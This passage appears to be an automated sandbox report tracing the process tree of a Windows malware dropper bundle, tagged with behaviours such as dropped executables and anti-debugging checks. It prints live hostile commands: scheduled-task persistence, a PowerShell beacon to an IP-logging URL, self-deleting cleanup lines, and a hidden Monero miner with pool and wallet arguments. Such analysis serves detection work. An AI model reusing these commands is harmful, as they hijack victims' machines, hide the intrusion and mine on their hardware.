        "C:\Users\Admin\Documents\RGqHgGnaMbL0px6v6Tzt7OjM.exe"
        7⤵
        
        PID:5480
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
        8⤵
        Creates scheduled task(s)
        
        PID:7500
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
        8⤵
        Creates scheduled task(s)
        
        PID:7492
        
        C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe
        
        "C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"
        8⤵
        Checks computer location settings
        
        PID:7484
        
        C:\Users\Admin\Documents\BCXZIs8_crQnOQvhpOT2O3vt.exe
        
        "C:\Users\Admin\Documents\BCXZIs8_crQnOQvhpOT2O3vt.exe"
        9⤵
        
        PID:7628
        
        C:\Users\Admin\Documents\t0TWzXF0UmHxn2kAnmhu_AuL.exe
        
        "C:\Users\Admin\Documents\t0TWzXF0UmHxn2kAnmhu_AuL.exe"
        7⤵
        Executes dropped EXE
        
        PID:5420
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5420 -s 1656
        8⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        Program crash
        
        PID:596
        
        C:\Users\Admin\Documents\vJsRieSJjWMc0EdygYU_6eeY.exe
        
        "C:\Users\Admin\Documents\vJsRieSJjWMc0EdygYU_6eeY.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5852
        
        C:\Users\Admin\Documents\vJsRieSJjWMc0EdygYU_6eeY.exe
        
        C:\Users\Admin\Documents\vJsRieSJjWMc0EdygYU_6eeY.exe
        8⤵
        Executes dropped EXE
        
        PID:5056
        
        C:\Users\Admin\Documents\emWhgHV8U1Es49MkR7UHHWse.exe
        
        "C:\Users\Admin\Documents\emWhgHV8U1Es49MkR7UHHWse.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5796
        
        C:\Users\Admin\Documents\emWhgHV8U1Es49MkR7UHHWse.exe
        
        C:\Users\Admin\Documents\emWhgHV8U1Es49MkR7UHHWse.exe
        8⤵
        Executes dropped EXE
        
        PID:7056
        
        C:\Users\Admin\Documents\emWhgHV8U1Es49MkR7UHHWse.exe
        
        C:\Users\Admin\Documents\emWhgHV8U1Es49MkR7UHHWse.exe
        8⤵
        Executes dropped EXE
        
        PID:1636
        
        C:\Users\Admin\Documents\7E47t5OZ9Y2AslGLa71zs0Ko.exe
        
        "C:\Users\Admin\Documents\7E47t5OZ9Y2AslGLa71zs0Ko.exe"
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5976
        
        C:\Users\Admin\Documents\F26HMOE0VyruSatwyckTLw9O.exe
        
        "C:\Users\Admin\Documents\F26HMOE0VyruSatwyckTLw9O.exe"
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:6116
        
        C:\Users\Admin\Documents\lWqFOBNzObqshYcVbU9EPdxn.exe
        
        "C:\Users\Admin\Documents\lWqFOBNzObqshYcVbU9EPdxn.exe"
        7⤵
        Executes dropped EXE
        
        PID:5884
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5884 -s 668
        8⤵
        Program crash
        
        PID:6396
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5884 -s 676
        8⤵
        Program crash
        
        PID:5816
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5884 -s 652
        8⤵
        Program crash
        
        PID:2892
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5884 -s 648
        8⤵
        Program crash
        
        PID:4840
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5884 -s 1124
        8⤵
        Program crash
        
        PID:7816
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5884 -s 1156
        8⤵
        Program crash
        
        PID:8016
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5884 -s 1168
        8⤵
        Program crash
        
        PID:7208
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5884 -s 1208
        8⤵
        Program crash
        
        PID:8048
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "lWqFOBNzObqshYcVbU9EPdxn.exe" /f & erase "C:\Users\Admin\Documents\lWqFOBNzObqshYcVbU9EPdxn.exe" & exit
        8⤵
        
        PID:7580
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "lWqFOBNzObqshYcVbU9EPdxn.exe" /f
        9⤵
        Kills process with taskkill
        
        PID:6724
        
        C:\Users\Admin\Documents\VDKr3kJPXY5MiEh2sgBh3rKq.exe
        
        "C:\Users\Admin\Documents\VDKr3kJPXY5MiEh2sgBh3rKq.exe"
        7⤵
        Executes dropped EXE
        Checks whether UAC is enabled
        Drops file in Program Files directory
        
        PID:4408
        
        C:\Program Files (x86)\Company\NewProduct\inst001.exe
        
        "C:\Program Files (x86)\Company\NewProduct\inst001.exe"
        8⤵
        Executes dropped EXE
        
        PID:6952
        
        C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
        
        "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
        8⤵
        Executes dropped EXE
        Checks whether UAC is enabled
        Drops file in Program Files directory
        
        PID:6836
        
        C:\Program Files (x86)\Company\NewProduct\cm3.exe
        
        "C:\Program Files (x86)\Company\NewProduct\cm3.exe"
        8⤵
        Executes dropped EXE
        
        PID:6968
        
        C:\Users\Admin\Documents\uovrLnOqiZlNa82B7YD2cASD.exe
        
        "C:\Users\Admin\Documents\uovrLnOqiZlNa82B7YD2cASD.exe"
        7⤵
        Executes dropped EXE
        
        PID:1712
        
        C:\Users\Admin\Documents\uovrLnOqiZlNa82B7YD2cASD.exe
        
        "C:\Users\Admin\Documents\uovrLnOqiZlNa82B7YD2cASD.exe"
        8⤵
        Modifies data under HKEY_USERS
        
        PID:9016
        
        C:\Users\Admin\Documents\bjR2Xj9UB1KeMGiahQDr2ahv.exe
        
        "C:\Users\Admin\Documents\bjR2Xj9UB1KeMGiahQDr2ahv.exe"
        7⤵
        Executes dropped EXE
        Checks whether UAC is enabled
        
        PID:784
        
        C:\Users\Admin\Documents\gubOpckawV9YiBQZQEGZyim0.exe
        
        "C:\Users\Admin\Documents\gubOpckawV9YiBQZQEGZyim0.exe"
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Loads dropped DLL
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:6224
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\Documents\gubOpckawV9YiBQZQEGZyim0.exe"
        8⤵
        
        PID:5932
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 10 /NOBREAK
        9⤵
        Delays execution with timeout.exe
        
        PID:2280
        
        C:\Users\Admin\Documents\hnLz9ujGWUUQxBJp7pt3qDvv.exe
        
        "C:\Users\Admin\Documents\hnLz9ujGWUUQxBJp7pt3qDvv.exe"
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:7040
        
        C:\Users\Admin\Documents\emBhBCB9JrvjwUss_kimXWYl.exe
        
        "C:\Users\Admin\Documents\emBhBCB9JrvjwUss_kimXWYl.exe"
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:7032
        
        C:\Users\Admin\Documents\FElanqa0GqBIMxoehkuxM992.exe
        
        "C:\Users\Admin\Documents\FElanqa0GqBIMxoehkuxM992.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:440
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c start "" "f.exe" & start "" "wwi.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1aX5d7"
        8⤵
        
        PID:6496
        
        C:\Users\Admin\AppData\Local\Temp\f.exe
        
        "f.exe"
        9⤵
        
        PID:3508
        
        C:\Users\Admin\AppData\Local\237843444.exe
        
        "C:\Users\Admin\AppData\Local\237843444.exe"
        10⤵
        Checks whether UAC is enabled
        
        PID:7308
        
        C:\Users\Admin\AppData\Local\Temp\wwi.exe
        
        "wwi.exe"
        9⤵
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5344
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1aX5d7"
        9⤵
        Blocklisted process makes network request
        
        PID:3972
        
        C:\Users\Admin\Documents\B6srqwApy9H9mq1fCjmNFEFo.exe
        
        "C:\Users\Admin\Documents\B6srqwApy9H9mq1fCjmNFEFo.exe"
        7⤵
        Suspicious use of SetThreadContext
        
        PID:6388
        
        C:\Users\Admin\Documents\B6srqwApy9H9mq1fCjmNFEFo.exe
        
        "C:\Users\Admin\Documents\B6srqwApy9H9mq1fCjmNFEFo.exe"
        8⤵
        Checks SCSI registry key(s)
        Suspicious behavior: MapViewOfSection
        
        PID:6716
        
        C:\Users\Admin\Documents\CbKGQ0u4To8yh2C9mP3J72a5.exe
        
        "C:\Users\Admin\Documents\CbKGQ0u4To8yh2C9mP3J72a5.exe"
        7⤵
        
        PID:7628
        
        C:\Users\Admin\AppData\Roaming\7475896.scr
        
        "C:\Users\Admin\AppData\Roaming\7475896.scr" /S
        8⤵
        
        PID:7612
        
        C:\Users\Admin\AppData\Roaming\2826204.scr
        
        "C:\Users\Admin\AppData\Roaming\2826204.scr" /S
        8⤵
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:524
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        Executes dropped EXE
        
        PID:5916
        
        C:\Users\Admin\AppData\Roaming\2634847.scr
        
        "C:\Users\Admin\AppData\Roaming\2634847.scr" /S
        8⤵
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:8004
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Sun19262b9e49ad.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4592
      - C:\Users\Admin\AppData\Local\Temp\7zS0EAFE971\Sun19262b9e49ad.exe
        
        Sun19262b9e49ad.exe
        6⤵
        Executes dropped EXE
        Modifies system certificate store
        Suspicious use of AdjustPrivilegeToken
        
        PID:1540
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        7⤵
        
        PID:6036
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        8⤵
        Kills process with taskkill
        
        PID:6596
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Sun193fda712d9f1.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:780
      - C:\Users\Admin\AppData\Local\Temp\7zS0EAFE971\Sun193fda712d9f1.exe
        
        Sun193fda712d9f1.exe
        6⤵
        Executes dropped EXE
        
        PID:4388
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Sun19e4ade31b2a.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1284
      - C:\Users\Admin\AppData\Local\Temp\7zS0EAFE971\Sun19e4ade31b2a.exe
        
        Sun19e4ade31b2a.exe
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:988
        
        C:\Users\Admin\AppData\Roaming\6331290.scr
        
        "C:\Users\Admin\AppData\Roaming\6331290.scr" /S
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3968
        
        C:\Users\Admin\AppData\Roaming\7369647.scr
        
        "C:\Users\Admin\AppData\Roaming\7369647.scr" /S
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4220
        
        C:\Users\Admin\AppData\Roaming\4587407.scr
        
        "C:\Users\Admin\AppData\Roaming\4587407.scr" /S
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1628
        
        C:\Users\Admin\AppData\Roaming\1700129.scr
        
        "C:\Users\Admin\AppData\Roaming\1700129.scr" /S
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5620
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Sun1908b94df837b3158.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4476
      - C:\Users\Admin\AppData\Local\Temp\7zS0EAFE971\Sun1908b94df837b3158.exe
        
        Sun1908b94df837b3158.exe
        6⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:4748
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Sun19de8ff4b6aefeb8.exe /mixone
        5⤵
        
        PID:4508
      - C:\Users\Admin\AppData\Local\Temp\7zS0EAFE971\Sun19de8ff4b6aefeb8.exe
        
        Sun19de8ff4b6aefeb8.exe /mixone
        6⤵
        Executes dropped EXE
        
        PID:4896
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4896 -s 656
        7⤵
        Program crash
        Suspicious use of AdjustPrivilegeToken
        
        PID:2784
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4896 -s 696
        7⤵
        Program crash
        
        PID:6084
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4896 -s 664
        7⤵
        Program crash
        
        PID:6812
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4896 -s 688
        7⤵
        Program crash
        
        PID:3064
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4896 -s 888
        7⤵
        Program crash
        
        PID:7264
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Sun191101c1aaa.exe
        5⤵
        
        PID:3292
      - C:\Users\Admin\AppData\Local\Temp\7zS0EAFE971\Sun191101c1aaa.exe
        
        Sun191101c1aaa.exe
        6⤵
        
        PID:4880
        
        C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        7⤵
        Executes dropped EXE
        
        PID:1520
        
        C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
        8⤵
        Executes dropped EXE
        
        PID:3764
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        9⤵
        
        PID:6500
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        10⤵
        Creates scheduled task(s)
        
        PID:5912
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        9⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:6940
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        10⤵
        Blocklisted process makes network request
        Executes dropped EXE
        Drops file in Program Files directory
        
        PID:5480
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        11⤵
        Creates scheduled task(s)
        
        PID:5508
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        10⤵
        
        PID:7768
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
        10⤵
        
        PID:6908
        
        C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3320
        
        C:\ProgramData\2082185.exe
        
        "C:\ProgramData\2082185.exe"
        9⤵
        Executes dropped EXE
        
        PID:5632
        
        C:\ProgramData\4824160.exe
        
        "C:\ProgramData\4824160.exe"
        9⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:6412
        
        C:\ProgramData\496239.exe
        
        "C:\ProgramData\496239.exe"
        9⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:7140
        
        C:\ProgramData\8445878.exe
        
        "C:\ProgramData\8445878.exe"
        9⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:6704
        
        C:\Users\Admin\AppData\Local\Temp\2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4760
        
        C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        9⤵
        
        PID:6232
        
        C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        10⤵
        Modifies data under HKEY_USERS
        
        PID:6488
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        8⤵
        Executes dropped EXE
        
        PID:4400
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4400 -s 800
        9⤵
        Program crash
        
        PID:5928
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4400 -s 808
        9⤵
        Program crash
        
        PID:6388
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4400 -s 896
        9⤵
        Program crash
        
        PID:5288
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4400 -s 960
        9⤵
        Program crash
        
        PID:1836
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4400 -s 964
        9⤵
        Program crash
        
        PID:3704
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4400 -s 888
        9⤵
        Program crash
        
        PID:6396
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4400 -s 1048
        9⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        Program crash
        
        PID:7640
        
        C:\Users\Admin\AppData\Local\Temp\udptest.exe
        
        "C:\Users\Admin\AppData\Local\Temp\udptest.exe"
        8⤵
        Executes dropped EXE
        
        PID:5012
        
        C:\Users\Admin\AppData\Local\Temp\5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\5.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:348
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 348 -s 1568
        9⤵
        Program crash
        
        PID:7052
        
        C:\Users\Admin\AppData\Local\Temp\LivelyScreenRecF18.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LivelyScreenRecF18.exe"
        8⤵
        Executes dropped EXE
        Checks whether UAC is enabled
        
        PID:4576
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        8⤵
        Executes dropped EXE
        
        PID:1592
        
        C:\Users\Admin\AppData\Local\Temp\is-TG5T6.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-TG5T6.tmp\setup_2.tmp" /SL5="$8005E,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        9⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2732
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        10⤵
        
        PID:5916
        
        C:\Users\Admin\AppData\Local\Temp\is-7M94O.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-7M94O.tmp\setup_2.tmp" /SL5="$303F8,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        11⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks whether UAC is enabled
        Drops file in Program Files directory
        Suspicious use of FindShellTrayWindow
        
        PID:8
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4880
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
        9⤵
        Executes dropped EXE
        
        PID:6044
        
        C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
        8⤵
        Executes dropped EXE
        
        PID:408
        
        C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
        8⤵
        Executes dropped EXE
        
        PID:5404
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Sun19eb40faaaa9.exe
        5⤵
        
        PID:2204
      - C:\Users\Admin\AppData\Local\Temp\7zS0EAFE971\Sun19eb40faaaa9.exe
        
        Sun19eb40faaaa9.exe
        6⤵
        Executes dropped EXE
        
        PID:4740
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4740 -s 912
        7⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        Program crash
        
        PID:6248
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Sun195a1614ec24e6a.exe
        5⤵
        
        PID:2264
      - C:\Users\Admin\AppData\Local\Temp\7zS0EAFE971\Sun195a1614ec24e6a.exe
        
        Sun195a1614ec24e6a.exe
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:920
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Sun1905815e51282417.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4164
      - C:\Users\Admin\AppData\Local\Temp\7zS0EAFE971\Sun1905815e51282417.exe
        
        Sun1905815e51282417.exe
        6⤵
        Executes dropped EXE
        
        PID:4712
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Sun198361825f4.exe
        5⤵
        
        PID:2100
      - C:\Users\Admin\AppData\Local\Temp\7zS0EAFE971\Sun198361825f4.exe
        
        Sun198361825f4.exe
        6⤵
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of AdjustPrivilegeToken
        
        PID:4940
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Sun1966fb31dd5a07.exe
        5⤵
        
        PID:4024
      - C:\Users\Admin\AppData\Local\Temp\7zS0EAFE971\Sun1966fb31dd5a07.exe
        
        Sun1966fb31dd5a07.exe
        6⤵
        Executes dropped EXE
        
        PID:1056
        
        C:\Users\Admin\AppData\Local\Temp\is-3JHSO.tmp\Sun1966fb31dd5a07.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-3JHSO.tmp\Sun1966fb31dd5a07.tmp" /SL5="$50030,247014,163328,C:\Users\Admin\AppData\Local\Temp\7zS0EAFE971\Sun1966fb31dd5a07.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks whether UAC is enabled
        
        PID:1664
        
        C:\Users\Admin\AppData\Local\Temp\is-NGOI0.tmp\Ze2ro.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-NGOI0.tmp\Ze2ro.exe" /S /UID=burnerch2
        8⤵
        Drops file in Drivers directory
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Program Files directory
        
        PID:1404
        
        C:\Program Files\Mozilla Firefox\CLODCIRXRY\ultramediaburner.exe
        
        "C:\Program Files\Mozilla Firefox\CLODCIRXRY\ultramediaburner.exe" /VERYSILENT
        9⤵
        
        PID:776
        
        C:\Users\Admin\AppData\Local\Temp\is-HP43H.tmp\ultramediaburner.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-HP43H.tmp\ultramediaburner.tmp" /SL5="$30280,281924,62464,C:\Program Files\Mozilla Firefox\CLODCIRXRY\ultramediaburner.exe" /VERYSILENT
        10⤵
        Checks whether UAC is enabled
        Drops file in Program Files directory
        Suspicious use of FindShellTrayWindow
        
        PID:7064
        
        C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
        
        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
        11⤵
        Checks whether UAC is enabled
        
        PID:7060
        
        C:\Users\Admin\AppData\Local\Temp\b0-23bb2-d99-f40ab-b9db0b2fc96d8\Vaerigipaeky.exe
        
        "C:\Users\Admin\AppData\Local\Temp\b0-23bb2-d99-f40ab-b9db0b2fc96d8\Vaerigipaeky.exe"
        9⤵
        Checks computer location settings
        
        PID:4656
        
        C:\Users\Admin\AppData\Local\Temp\74-71abb-251-9e39e-f344b944ebcd8\Wilowesaly.exe
        
        "C:\Users\Admin\AppData\Local\Temp\74-71abb-251-9e39e-f344b944ebcd8\Wilowesaly.exe"
        9⤵
        Checks whether UAC is enabled
        
        PID:7632
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qx3n3ee0.3ba\GcleanerEU.exe /eufive & exit
        10⤵
        
        PID:5212
        
        C:\Users\Admin\AppData\Local\Temp\qx3n3ee0.3ba\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\qx3n3ee0.3ba\GcleanerEU.exe /eufive
        11⤵
        
        PID:8792
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nva3lj2d.jnu\installer.exe /qn CAMPAIGN="654" & exit
        10⤵
        
        PID:8280
        
        C:\Users\Admin\AppData\Local\Temp\nva3lj2d.jnu\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\nva3lj2d.jnu\installer.exe /qn CAMPAIGN="654"
        11⤵
        Loads dropped DLL
        Enumerates connected drives
        Modifies system certificate store
        Suspicious use of FindShellTrayWindow
        
        PID:8876
        
        C:\Windows\SysWOW64\msiexec.exe
        
